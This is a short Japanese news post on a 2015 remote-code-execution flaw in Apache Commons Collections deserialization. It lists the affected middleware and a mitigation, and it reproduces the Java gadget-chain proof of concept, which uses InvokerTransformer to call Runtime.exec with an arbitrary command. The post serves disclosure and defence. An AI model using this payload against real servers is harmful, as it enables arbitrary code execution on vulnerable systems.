FoxGlove SecurityのStephen Breen氏が11月6日、Apacheのライブラリ「Commons Collections」に存在する脆弱性と検証コードをブログで公開しました(FoxGlove Security、ITmedia、スラド)。この脆弱性は9ヶ月前から公開されていたものですが、未だ修正版は公開されていません。
Commons Collectionsは、Javaのコレクションクラスをより便利に利用するためのライブラリで、WebLogic、WebSphere、JBoss、Jenkins、OpenNMSなど多数のミドルウェアに影響を及ぼします。
脆弱性は、データをアンシリアライズするする際に下記InvokerTransformerにより任意のリモートコードが実行されてしまうというもので、FoxGlove SecurityではInvokerTransformer.classを削除する対策が紹介されています。
日本語で読める情報としては「commons-collectionsのInvokerTransformer脆弱性について」で詳細に解説されています。
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}